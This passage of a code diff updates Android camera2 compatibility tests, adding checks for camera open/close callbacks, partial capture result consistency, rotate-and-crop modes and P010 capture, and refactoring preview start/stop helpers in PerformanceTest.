-                            !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
-                        return;
-                    }
-                } catch (CameraAccessException e) {
-                    fail("CameraAccessException thrown when attempting to access camera" +
-                         "characteristics" + cameraId);
-                }
+                // We allow this callback irrespective of mAdoptShellPerm since for this particular
+                // test, in the case when shell permissions are adopted we test all cameras, for
+                // simplicity. This is since when mAdoptShellPerm is false, we can't test for
+                // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+                // So, to test all cameras, we test them when we adopt shell permission identity.
                 availableEventQueue.offer(cameraId);
             }
 
@@ -683,6 +693,20 @@
             public void onPhysicalCameraUnavailable(String cameraId, String physicalCameraId) {
                 unavailablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
             }
+
+            @Override
+            public void onCameraOpened(String cameraId, String packageId) {
+                String curPackageId = mContext.getPackageName();
+                assertTrue("Opening package should be " + curPackageId + ", was " + packageId,
+                        curPackageId.equals(packageId));
+                onCameraOpenedEventQueue.offer(cameraId);
+            }
+
+            @Override
+            public void onCameraClosed(String cameraId) {
+                onCameraClosedEventQueue.offer(cameraId);
+            }
+
         };
 
         if (useExecutor) {
@@ -691,9 +715,15 @@
             mCameraManager.registerAvailabilityCallback(ac, mHandler);
         }
         String[] cameras = mCameraIdsUnderTest;
+        if (mAdoptShellPerm) {
+            //when mAdoptShellPerm is false, we can't test for
+            // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+            // So, to test all cameras, we test them when we adopt shell permission identity.
+            cameras = mCameraManager.getCameraIdListNoLazy();
+        }
 
         if (cameras.length == 0) {
-            Log.i(TAG, "No cameras present, skipping test");
+            Log.i(TAG, "No cameras present, skipping test mAdoprPerm");
             return;
         }
 
@@ -723,14 +753,13 @@
             // Then verify only open happened, and get the camera handle
             CameraDevice camera = verifyCameraStateOpened(id, mockListener);
 
-            // Verify that we see the expected 'unavailable' event.
-            String candidateId = unavailableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received unavailability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Availability events received unexpectedly",
-                    availableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(unavailableEventQueue,
+                        availableEventQueue, id, "unavailability", "Availability");
+            if (mAdoptShellPerm) {
+                // Verify that we see the expected 'onCameraOpened' event.
+                verifySingleAvailabilityCbsReceived(onCameraOpenedEventQueue,
+                        onCameraClosedEventQueue, id, "onCameraOpened", "onCameraClosed");
+            }
 
             // Verify that we see the expected 'unavailable' events if this camera is a physical
             // camera of another logical multi-camera
@@ -752,17 +781,16 @@
             // Verify that we see the expected 'available' event after closing the camera
 
             camera.close();
-
             mCameraListener.waitForState(BlockingStateCallback.STATE_CLOSED,
                     CameraTestUtils.CAMERA_CLOSE_TIMEOUT_MS);
 
-            candidateId = availableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
-                    java.util.concurrent.TimeUnit.MILLISECONDS);
-            assertTrue(String.format("Received availability notice for wrong ID " +
-                            "(expected %s, got %s)", id, candidateId),
-                    id.equals(candidateId));
-            assertTrue("Unavailability events received unexpectedly",
-                    unavailableEventQueue.size() == 0);
+            verifySingleAvailabilityCbsReceived(availableEventQueue, unavailableEventQueue,
+                    id, "availability", "Unavailability");
+
+            if (mAdoptShellPerm) {
+                verifySingleAvailabilityCbsReceived(onCameraClosedEventQueue,
+                        onCameraOpenedEventQueue, id, "onCameraClosed", "onCameraOpened");
+            }
 
             expectedLogicalCameras = new HashSet<Pair<String, String>>(relatedLogicalCameras);
             verifyAvailabilityCbsReceived(expectedLogicalCameras,
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index d18da38..1ca6107 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -40,6 +40,7 @@
 import android.hardware.camera2.params.MeteringRectangle;
 import android.hardware.camera2.params.RggbChannelVector;
 import android.hardware.camera2.params.TonemapCurve;
+import android.hardware.camera2.TotalCaptureResult;
 import android.media.Image;
 import android.os.Parcel;
 import android.util.ArraySet;
@@ -2694,9 +2695,19 @@
                      * Validate capture result
                      */
                     waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
-                    CaptureResult result = listener.getCaptureResultForRequest(
+                    TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                             requests[i], NUM_RESULTS_WAIT_TIMEOUT);
+                    List<CaptureResult> partialResults = result.getPartialResults();
+
                     Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
+                    for (CaptureResult partialResult : partialResults) {
+                        Rect cropRegionInPartial =
+                                partialResult.get(CaptureResult.SCALER_CROP_REGION);
+                        if (cropRegionInPartial != null) {
+                            mCollector.expectEquals("SCALER_CROP_REGION in partial result must "
+                                    + "match in final result", cropRegionInPartial, cropRegion);
+                        }
+                    }
 
                     /*
                      * Validate resulting crop regions
@@ -2736,7 +2747,8 @@
 
                     // Verify Output 3A region is intersection of input 3A region and crop region
                     for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                        validate3aRegion(result, algo, expectRegions[i], false/*scaleByZoomRatio*/);
+                        validate3aRegion(result, partialResults, algo, expectRegions[i],
+                                false/*scaleByZoomRatio*/);
                     }
 
                     previousCrop = cropRegion;
@@ -2765,6 +2777,9 @@
         final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
         final Rect defaultCropRegion =
                 new Rect(0, 0, activeArraySize.width(), activeArraySize.height());
+        final Rect zoom2xCropRegion =
+                new Rect(activeArraySize.width()/4, activeArraySize.height()/4,
+                        activeArraySize.width()*3/4, activeArraySize.height()*3/4);
         MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
         CaptureRequest.Builder requestBuilder =
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -2806,6 +2821,7 @@
                 Log.v(TAG, "Testing Zoom ratio " + zoomFactor + " Preview size is " + previewSize);
             }
             requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomFactor);
+            requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, defaultCropRegion);
             CaptureRequest request = requestBuilder.build();
             for (int j = 0; j < captureSubmitRepeat; ++j) {
                 mSession.capture(request, listener, mHandler);
@@ -2815,11 +2831,27 @@
              * Validate capture result
              */
             waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
-            CaptureResult result = listener.getCaptureResultForRequest(
+            TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                     request, NUM_RESULTS_WAIT_TIMEOUT);
+            List<CaptureResult> partialResults = result.getPartialResults();
             float resultZoomRatio = getValueNotNull(result, CaptureResult.CONTROL_ZOOM_RATIO);
             Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
 
+            for (CaptureResult partialResult : partialResults) {
+                Rect cropRegionInPartial =
+                        partialResult.get(CaptureResult.SCALER_CROP_REGION);
+                if (cropRegionInPartial != null) {
+                    mCollector.expectEquals("SCALER_CROP_REGION in partial result must "
+                            + "match in final result", cropRegionInPartial, cropRegion);
+                }
+
+                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+                if (zoomRatioInPartial != null) {
+                    mCollector.expectEquals("CONTROL_ZOOM_RATIO in partial result must match"
+                            + " that in final result", resultZoomRatio, zoomRatioInPartial);
+                }
+            }
+
             /*
              * Validate resulting crop regions and zoom ratio
              */
@@ -2862,10 +2894,41 @@
             // Verify Output 3A region is intersection of input 3A region and crop region
             boolean scaleByZoomRatio = zoomFactor > 1.0f;
             for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                validate3aRegion(result, algo, expectRegions[i], scaleByZoomRatio);
+                validate3aRegion(result, partialResults, algo, expectRegions[i], scaleByZoomRatio);
             }
 
             previousRatio = resultZoomRatio;
+
+            /*
+             * Set windowboxing cropRegion while zoomRatio is not 1.0x, and make sure the crop
+             * region was overwritten.
+             */
+            if (zoomFactor != 1.0f) {
+                requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, zoom2xCropRegion);
+                CaptureRequest requestWithCrop = requestBuilder.build();
+                for (int j = 0; j < captureSubmitRepeat; ++j) {
+                    mSession.capture(requestWithCrop, listener, mHandler);
+                }
+
+                waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
+                CaptureResult resultWithCrop = listener.getCaptureResultForRequest(
+                        requestWithCrop, NUM_RESULTS_WAIT_TIMEOUT);
+                float resultZoomRatioWithCrop = getValueNotNull(resultWithCrop,
+                        CaptureResult.CONTROL_ZOOM_RATIO);
+                Rect cropRegionWithCrop = getValueNotNull(resultWithCrop,
+                        CaptureResult.SCALER_CROP_REGION);
+
+                mCollector.expectTrue(String.format(
+                        "Result zoom ratio should remain the same (activeArrayCrop: %f, " +
+                        "zoomedCrop: %f)", resultZoomRatio, resultZoomRatioWithCrop),
+                        Math.abs(resultZoomRatio - resultZoomRatioWithCrop) < ZOOM_ERROR_MARGIN);
+
+                if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+                    mCollector.expectRectsAreSimilar(
+                            "Result crop region should remain the same with or without crop",
+                            cropRegion, cropRegionWithCrop, CROP_REGION_ERROR_PERCENT_DELTA);
+                }
+            }
         }
     }
 
@@ -3400,12 +3463,14 @@
      * Validate one 3A region in capture result equals to expected region if that region is
      * supported. Do nothing if the specified 3A region is not supported by camera device.
      * @param result The capture result to be validated
+     * @param partialResults The partial results to be validated
      * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
      * @param expectRegions The 3A regions expected in capture result
+     * @param scaleByZoomRatio whether to scale the error threshold by zoom ratio
      */
     private void validate3aRegion(
-            CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions,
-            boolean scaleByZoomRatio)
+            CaptureResult result, List<CaptureResult> partialResults, int algoIdx,
+            MeteringRectangle[] expectRegions, boolean scaleByZoomRatio)
     {
         // There are multiple cases where result 3A region could be slightly different than the
         // request:
@@ -3443,12 +3508,27 @@
         int maxDist = maxCoordOffset;
         if (scaleByZoomRatio) {
             Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            for (CaptureResult partialResult : partialResults) {
+                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+                if (zoomRatioInPartial != null) {
+                    mCollector.expectEquals("CONTROL_ZOOM_RATIO in partial result must match"
+                            + " that in final result", zoomRatio, zoomRatioInPartial);
+                }
+            }
             maxDist = (int)Math.ceil(maxDist * Math.max(zoomRatio / 2, 1.0f));
         }
 
         if (maxRegions > 0)
         {
             actualRegion = getValueNotNull(result, key);
+            for (CaptureResult partialResult : partialResults) {
+                MeteringRectangle[] actualRegionInPartial = partialResult.get(key);
+                if (actualRegionInPartial != null) {
+                    mCollector.expectEquals("Key " + key.getName() + " in partial result must match"
+                            + " that in final result", actualRegionInPartial, actualRegion);
+                }
+            }
+
             for (int i = 0; i < actualRegion.length; i++) {
                 // If the expected region's metering weight is 0, allow the camera device
                 // to override it.
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index a5c8978..83e8088 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -213,6 +213,8 @@
                     Set<CaptureResult.Key<?>> appearedPartialKeys =
                             new HashSet<CaptureResult.Key<?>>();
                     for (CaptureResult partialResult : partialResults) {
+                        mCollector.expectEquals("Partial capture result camera ID must be correct",
+                                partialResult.getCameraId(), id);
                         List<CaptureResult.Key<?>> partialKeys = partialResult.getKeys();
                         mCollector.expectValuesUnique("Partial result keys: ", partialKeys);
                         for (CaptureResult.Key<?> key : partialKeys) {
@@ -225,6 +227,8 @@
                     }
 
                     // Test total result against the partial results
+                    mCollector.expectEquals("Total capture result camera ID must be correct",
+                            totalResult.getCameraId(), id);
                     List<CaptureResult.Key<?>> totalResultKeys = totalResult.getKeys();
                     mCollector.expectTrue(
                             "TotalCaptureResult must be a super set of partial capture results",
@@ -733,6 +737,10 @@
             waiverKeys.add(CaptureResult.CONTROL_EXTENDED_SCENE_MODE);
         }
 
+        if (!staticInfo.isRotateAndCropSupported()) {
+            waiverKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
+        }
+
         if (staticInfo.isHardwareLevelAtLeastFull()) {
             return waiverKeys;
         }
@@ -847,6 +855,7 @@
         waiverKeys.add(CaptureResult.STATISTICS_FACE_DETECT_MODE);
         waiverKeys.add(CaptureResult.FLASH_MODE);
         waiverKeys.add(CaptureResult.SCALER_CROP_REGION);
+        waiverKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
 
         return waiverKeys;
     }
@@ -1019,6 +1028,7 @@
         resultKeys.add(CaptureResult.NOISE_REDUCTION_MODE);
         resultKeys.add(CaptureResult.REQUEST_PIPELINE_DEPTH);
         resultKeys.add(CaptureResult.SCALER_CROP_REGION);
+        resultKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
         resultKeys.add(CaptureResult.SENSOR_EXPOSURE_TIME);
         resultKeys.add(CaptureResult.SENSOR_FRAME_DURATION);
         resultKeys.add(CaptureResult.SENSOR_SENSITIVITY);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index b9fc5a8..2db0611 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -2316,6 +2316,53 @@
     }
 
     /**
+     * Check rotate-and-crop camera reporting.
+     * Every device must report NONE; if actually supporting feature, must report NONE, 90, AUTO at
+     * least.
+     */
+    @Test
+    public void testRotateAndCropCharacteristics() {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testRotateAndCropCharacteristics: Testing camera ID " + mAllCameraIds[i]);
+
+            CameraCharacteristics c = mCharacteristics.get(i);
+
+            if (!arrayContains(mCameraIdsUnderTest, mAllCameraIds[i])) {
+                // Skip hidden physical cameras
+                continue;
+            }
+
+            int[] availableRotateAndCropModes = c.get(
+                    CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES);
+            assertTrue("availableRotateAndCropModes must not be null",
+                     availableRotateAndCropModes != null);
+            boolean foundAuto = false;
+            boolean foundNone = false;
+            boolean found90 = false;
+            for (int mode :  availableRotateAndCropModes) {
+                switch(mode) {
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_NONE:
+                        foundNone = true;
+                        break;
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_90:
+                        found90 = true;
+                        break;
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_AUTO:
+                        foundAuto = true;
+                        break;
+                }
+            }
+            if (availableRotateAndCropModes.length > 1) {
+                assertTrue("To support SCALER_ROTATE_AND_CROP: NONE, 90, and AUTO must be included",
+                        foundNone && found90 && foundAuto);
+            } else {
+                assertTrue("If only one SCALER_ROTATE_AND_CROP value is supported, it must be NONE",
+                        foundNone);
+            }
+        }
+    }
+
+    /**
      * Check that all devices available through the legacy API are also
      * accessible via Camera2.
      */
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 971b51c..1ad21cc 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -215,6 +215,19 @@
     }
 
     @Test
+    public void testP010() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                Log.v(TAG, "Testing YUV P010 capture for Camera " + id);
+                openDevice(id);
+                bufferFormatTestByCamera(ImageFormat.YCBCR_P010, /*repeating*/false);
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    @Test
     public void testHeic() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
@@ -1051,9 +1064,22 @@
         Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
                 StaticMetadata.StreamDirection.Output);
 
+        boolean secureTest = setUsageFlag &&
+                ((usageFlag & HardwareBuffer.USAGE_PROTECTED_CONTENT) != 0);
+        Size secureDataSize = null;
+        if (secureTest) {
+            secureDataSize = mStaticInfo.getCharacteristics().get(
+                    CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE);
+        }
+
         // for each resolution, test imageReader:
         for (Size sz : availableSizes) {
             try {
+                // For secure mode test only test default secure data size if HAL advertises one.
+                if (secureDataSize != null && !secureDataSize.equals(sz)) {
+                    continue;
+                }
+
                 if (VERBOSE) {
                     Log.v(TAG, "Testing size " + sz.toString() + " format " + format
                             + " for camera " + mCamera.getId());
@@ -1067,6 +1093,12 @@
                     createDefaultImageReader(sz, format, MAX_NUM_IMAGES, mListener);
                 }
 
+                // Don't queue up images if we won't validate them
+                if (!validateImageData) {
+                    ImageDropperListener imageDropperListener = new ImageDropperListener();
+                    mReader.setOnImageAvailableListener(imageDropperListener, mHandler);
+                }
+
                 if (checkSession) {
                     checkImageReaderSessionConfiguration(
                             "Camera capture session validation for format: " + format + "failed");
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 6398e01..7e4a8c5 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -181,6 +181,19 @@
     }
 
     @Test
+    public void testWriterReaderBlobFormats() throws Exception {
+        int[] READER_TEST_FORMATS = {ImageFormat.JPEG, ImageFormat.DEPTH_JPEG,
+                                     ImageFormat.HEIC, ImageFormat.DEPTH_POINT_CLOUD};
+
+        for (int format : READER_TEST_FORMATS) {
+            ImageReader reader = ImageReader.newInstance(640, 480, format, 1 /*maxImages*/);
+            ImageWriter writer = ImageWriter.newInstance(reader.getSurface(), 1 /*maxImages*/);
+            writer.close();
+            reader.close();
+        }
+    }
+
+    @Test
     public void testWriterFormatOverride() throws Exception {
         int[] TEXTURE_TEST_FORMATS = {ImageFormat.YV12, ImageFormat.YUV_420_888};
         SurfaceTexture texture = new SurfaceTexture(/*random int*/1);
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 56c2652..a1030a0 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -1187,13 +1187,15 @@
             Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResultDual.getPhysicalCameraResults();
             for (String physicalId : physicalCameraIds) {
-                 if (physicalResultsDual.containsKey(physicalId)) {
-                     physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
-                             CaptureResult.SENSOR_TIMESTAMP);
-                 } else {
-                     physicalTimestamps[index][i] = -1;
-                 }
-                 index++;
+                assertTrue("Physical capture result camera ID must match the right camera",
+                        physicalResultsDual.get(physicalId).getCameraId().equals(physicalId));
+                if (physicalResultsDual.containsKey(physicalId)) {
+                    physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
+                        CaptureResult.SENSOR_TIMESTAMP);
+                } else {
+                    physicalTimestamps[index][i] = -1;
+                }
+                index++;
             }
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index b13484f..6428896 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -17,6 +17,7 @@
 package android.hardware.camera2.cts;
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static android.hardware.cts.helpers.CameraUtils.*;
 
 import android.graphics.Bitmap;
 import android.graphics.ImageFormat;
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 94282c8..9ef497a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -152,9 +152,11 @@
             double[] cameraCloseTimes = new double[NUM_TEST_LOOPS];
             double[] cameraLaunchTimes = new double[NUM_TEST_LOOPS];
             try {
-                mTestRule.setStaticInfo(new StaticMetadata(
-                        mTestRule.getCameraManager().getCameraCharacteristics(id)));
-                if (mTestRule.getStaticInfo().isColorOutputSupported()) {
+                CameraCharacteristics ch =
+                        mTestRule.getCameraManager().getCameraCharacteristics(id);
+                mTestRule.setStaticInfo(new StaticMetadata(ch));
+                boolean isColorOutputSupported = mTestRule.getStaticInfo().isColorOutputSupported();
+                if (isColorOutputSupported) {
                     initializeImageReader(id, ImageFormat.YUV_420_888);
                 } else {
                     assertTrue("Depth output must be supported if regular output isn't!",
@@ -179,14 +181,15 @@
                         cameraOpenTimes[i] = openTimeMs - startTimeMs;
 
                         // Blocking configure outputs.
-                        configureReaderAndPreviewOutputs();
+                        CaptureRequest previewRequest =
+                                configureReaderAndPreviewOutputs(id, isColorOutputSupported);
                         configureTimeMs = SystemClock.elapsedRealtime();
                         configureStreamTimes[i] = configureTimeMs - openTimeMs;
 
                         // Blocking start preview (start preview to first image arrives)
                         SimpleCaptureCallback resultListener =
                                 new SimpleCaptureCallback();
-                        blockingStartPreview(id, resultListener, imageListener);
+                        blockingStartPreview(id, resultListener, previewRequest, imageListener);
                         previewStartedTimeMs = SystemClock.elapsedRealtime();
                         startPreviewTimes[i] = previewStartedTimeMs - configureTimeMs;
                         cameraLaunchTimes[i] = previewStartedTimeMs - startTimeMs;
@@ -197,7 +200,7 @@
 
                         // Blocking stop preview
                         startTimeMs = SystemClock.elapsedRealtime();
-                        blockingStopPreview();
+                        blockingStopRepeating();
                         stopPreviewTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
                     }
                     finally {
@@ -430,7 +433,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreviewAndDrain();
+                    blockingStopRepeating();
 
                     CameraTestUtils.closeImageReaders(readers);
                     readers = null;
@@ -546,10 +549,12 @@
             double[] getResultTimes = new double[NUM_MAX_IMAGES];
             double[] frameDurationMs = new double[NUM_MAX_IMAGES-1];
             try {
-                if (!mTestRule.getAllStaticInfo().get(id).isColorOutputSupported()) {
+                StaticMetadata staticMetadata = mTestRule.getAllStaticInfo().get(id);
+                if (!staticMetadata.isColorOutputSupported()) {
                     Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
                     continue;
                 }
+                boolean useSessionKeys = isFpsRangeASessionKey(staticMetadata.getCharacteristics());
 
                 mTestRule.openDevice(id);
                 for (int i = 0; i < NUM_TEST_LOOPS; i++) {
@@ -589,7 +594,8 @@
                     prepareCaptureAndStartPreview(previewBuilder, captureBuilder,
                             mTestRule.getOrderedPreviewSizes().get(0), maxYuvSize,
                             ImageFormat.YUV_420_888, previewResultListener,
-                            sessionListener, NUM_MAX_IMAGES, imageListener);
+                            sessionListener, NUM_MAX_IMAGES, imageListener,
+                            useSessionKeys);
 
                     // Converge AE
                     CameraTestUtils.waitForAeStable(previewResultListener,
@@ -649,7 +655,7 @@
                     CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
                             WAIT_FOR_RESULT_TIMEOUT_MS);
 
-                    stopPreview();
+                    stopRepeating();
                 }
 
                 for (int i = 0; i < getResultTimes.length; i++) {
@@ -923,7 +929,7 @@
             maxCaptureGapsMs[i] = maxTimestampGapMs;
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1020,7 +1026,7 @@
             }
         }
 
-        stopZslStreaming();
+        blockingStopRepeating();
 
         String reprocessType = "YUV reprocessing";
         if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1070,12 +1076,6 @@
                 zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
     }
 
-    private void stopZslStreaming() throws Exception {
-        mTestRule.getCameraSession().stopRepeating();
-        mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
-    }
-
     /**
      * Wait for a certain number of frames, the images and results will be drained from the
      * listeners to make sure that next reprocessing can get matched results and images.
@@ -1148,38 +1148,21 @@
                 /*listener*/null, /*handler*/null);
     }
 
-    private void blockingStopPreview() throws Exception {
-        stopPreview();
+    /**
+     * Stop repeating requests for current camera and waiting for it to go back to idle, resulting
+     * in an idle device.
+     */
+    private void blockingStopRepeating() throws Exception {
+        stopRepeating();
         mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
-                BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+                BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
     }
 
     private void blockingStartPreview(String id, CaptureCallback listener,
-            SimpleImageListener imageListener) throws Exception {
-        if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
-            throw new IllegalStateException("preview and reader surface must be initilized first");
-        }
-
-        StreamConfigurationMap config =
-                mTestRule.getStaticInfo().getCharacteristics().get(
-                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-        CaptureRequest.Builder previewBuilder =
-                mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
-        long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
-                config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
-        if (mTestRule.getStaticInfo().isColorOutputSupported()) {
-            previewBuilder.addTarget(mPreviewSurface);
-            minFrameDuration = Math.max(minFrameDuration,
-                    config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
-        }
-        previewBuilder.addTarget(mTestRule.getReaderSurface());
-
-        Range<Integer> targetRange =
-                CameraTestUtils.getSuitableFpsRangeForDuration(id,
-                        minFrameDuration, mTestRule.getStaticInfo());
-        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+            CaptureRequest previewRequest, SimpleImageListener imageListener)
+            throws Exception {
         mTestRule.getCameraSession().setRepeatingRequest(
-                previewBuilder.build(), listener, mTestRule.getHandler());
+                previewRequest, listener, mTestRule.getHandler());
         imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
     }
 
@@ -1187,8 +1170,8 @@
      * Setup still capture configuration and start preview.
      *
      * @param id The camera id under test
-     * @param previewRequest The capture request to be used for preview
-     * @param stillRequest The capture request to be used for still capture
+     * @param previewBuilder The capture request builder to be used for preview
+     * @param stillBuilder The capture request builder to be used for still capture
      * @param previewSz Preview size
      * @param captureSizes Still capture sizes
      * @param formats The single capture image formats
@@ -1198,7 +1181,7 @@
      * @param isHeic Capture HEIC image if true, JPEG image if false
      */
     private ImageReader[] prepareStillCaptureAndStartPreview(String id,
-            CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest,
+            CaptureRequest.Builder previewBuilder, CaptureRequest.Builder stillBuilder,
             Size previewSz, Size[] captureSizes, int[] formats, CaptureCallback resultListener,
             int maxNumImages, ImageReader.OnImageAvailableListener[] imageListeners,
             boolean isHeic)
@@ -1218,8 +1201,8 @@
         // Update preview size.
         updatePreviewSurface(previewSz);
 
-        StreamConfigurationMap config =
-                mTestRule.getStaticInfo().getCharacteristics().get(
+        CameraCharacteristics ch = mTestRule.getStaticInfo().getCharacteristics();
+        StreamConfigurationMap config = ch.get(
                 CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
         ImageReader[] readers = new ImageReader[captureSizes.length];
         List<Surface> outputSurfaces = new ArrayList<Surface>();
@@ -1236,37 +1219,66 @@
             outputSurfaces.add(readers[i].getSurface());
         }
 
+        // Configure the requests.
+        previewBuilder.addTarget(mPreviewSurface);
+        stillBuilder.addTarget(mPreviewSurface);
+        for (int i = 0; i < readers.length; i++) {
+            stillBuilder.addTarget(readers[i].getSurface());
+        }
+
         // Update target fps based on min frame durations
         Range<Integer> targetRange =
                 CameraTestUtils.getSuitableFpsRangeForDuration(id,
                 minFrameDuration, mTestRule.getStaticInfo());
-        previewRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
-        stillRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+        previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+        stillBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
 
+        CaptureRequest previewRequest = previewBuilder.build();
         mTestRule.setCameraSessionListener(new BlockingSessionCallback());
-        mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
-                mTestRule.getCamera(), outputSurfaces,
-                mTestRule.getCameraSessionListener(), mTestRule.getHandler()));
-
-        // Configure the requests.
-        previewRequest.addTarget(mPreviewSurface);
